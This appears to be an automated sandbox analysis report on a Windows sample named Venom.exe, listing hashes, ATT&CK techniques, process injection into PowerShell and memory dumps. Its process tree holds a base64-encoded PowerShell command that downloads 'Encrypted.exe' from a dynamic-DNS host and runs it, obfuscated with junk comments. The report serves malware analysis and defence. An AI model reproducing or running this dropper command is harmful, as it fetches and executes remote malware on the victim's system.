31216d4c09b0bfa5deba86b4dd6206a2ba7a6f35ecb82cd81015ec51ceefa3b6

Analysis

max time kernel
66s
max time network
53s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
30-04-2024 03:42

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General

Target

Venom.exe
Size

4KB
MD5

a26e4919eb47e0c23e8c38da0f3488db
SHA1

43ffb3c3a21c8ae376380fb6d419f46391f2f595
SHA256

31216d4c09b0bfa5deba86b4dd6206a2ba7a6f35ecb82cd81015ec51ceefa3b6
SHA512

3f8b07aca6d77c41a29576bd4bb9ca190edf6fbf0775f7d8db1cf86230d863f9b458cc4fad9a94d252354f99a59c779f0acf30bb417d5abb7bd4eab6ac95291e
SSDEEP

96:xjd8wOXOT7ZTKfAcQZ8o7+S7+w/8d3ojSrl:RuwOXOTFKfOh1/8dR

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Venom.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation Venom.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3612 powershell.exe
3612 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3612 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation	Venom.exe

pid	process
3612	powershell.exe
3612	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3612	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

Venom.exe

description	pid	process	target process
PID 4984 wrote to memory of 3612	4984	Venom.exe	powershell.exe
PID 4984 wrote to memory of 3612	4984	Venom.exe	powershell.exe
PID 4984 wrote to memory of 3612	4984	Venom.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\Venom.exe
"C:\Users\Admin\AppData\Local\Temp\Venom.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AG8AcgBrAHMAZQByAHYAZQByAC4AZABkAG4AcwAuAG4AZQB0AC8ARQBuAGMAcgB5AHAAdABlAGQALgBlAHgAZQAnACwAIAA8ACMAcABlAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBsAHgAYwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBmAHYAbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBFAG4AYwByAHkAcAB0AGUAZAAuAGUAeABlACcAKQApADwAIwB3AGYAZAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGwAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBpAGkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARQBuAGMAcgB5AHAAdABlAGQALgBlAHgAZQAnACkAPAAjAHkAcQB0ACMAPgA="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3612

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ge35bdv.b03.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3612-4-0x0000000004D00000-0x0000000005328000-memory.dmp

Filesize
6.2MB

Download
memory/3612-5-0x0000000004B80000-0x0000000004BA2000-memory.dmp

Filesize
136KB

Download
memory/3612-17-0x0000000005580000-0x00000000058D4000-memory.dmp

Filesize
3.3MB

Download
memory/3612-0-0x0000000004550000-0x0000000004586000-memory.dmp

Filesize
216KB

Download
memory/3612-18-0x0000000005BA0000-0x0000000005BBE000-memory.dmp

Filesize
120KB

Download
memory/3612-6-0x00000000054A0000-0x0000000005506000-memory.dmp

Filesize
408KB

Download
memory/3612-7-0x0000000005510000-0x0000000005576000-memory.dmp

Filesize
408KB

Download
memory/3612-19-0x0000000005BE0000-0x0000000005C2C000-memory.dmp

Filesize
304KB

Download
memory/3612-2-0x00000000046C0000-0x00000000046D0000-memory.dmp

Filesize
64KB

Download
memory/3612-3-0x00000000046C0000-0x00000000046D0000-memory.dmp

Filesize
64KB

Download
memory/3612-1-0x0000000074A10000-0x00000000751C0000-memory.dmp

Filesize
7.7MB

Download
memory/3612-20-0x0000000007200000-0x000000000787A000-memory.dmp

Filesize
6.5MB

Download
memory/3612-21-0x00000000060A0000-0x00000000060BA000-memory.dmp

Filesize
104KB

Download
memory/3612-22-0x0000000006E20000-0x0000000006EB6000-memory.dmp

Filesize
600KB

Download
memory/3612-23-0x0000000006190000-0x00000000061B2000-memory.dmp

Filesize
136KB

Download
memory/3612-24-0x0000000007E30000-0x00000000083D4000-memory.dmp

Filesize
5.6MB

Download
memory/3612-27-0x0000000074A10000-0x00000000751C0000-memory.dmp

Filesize
7.7MB

Download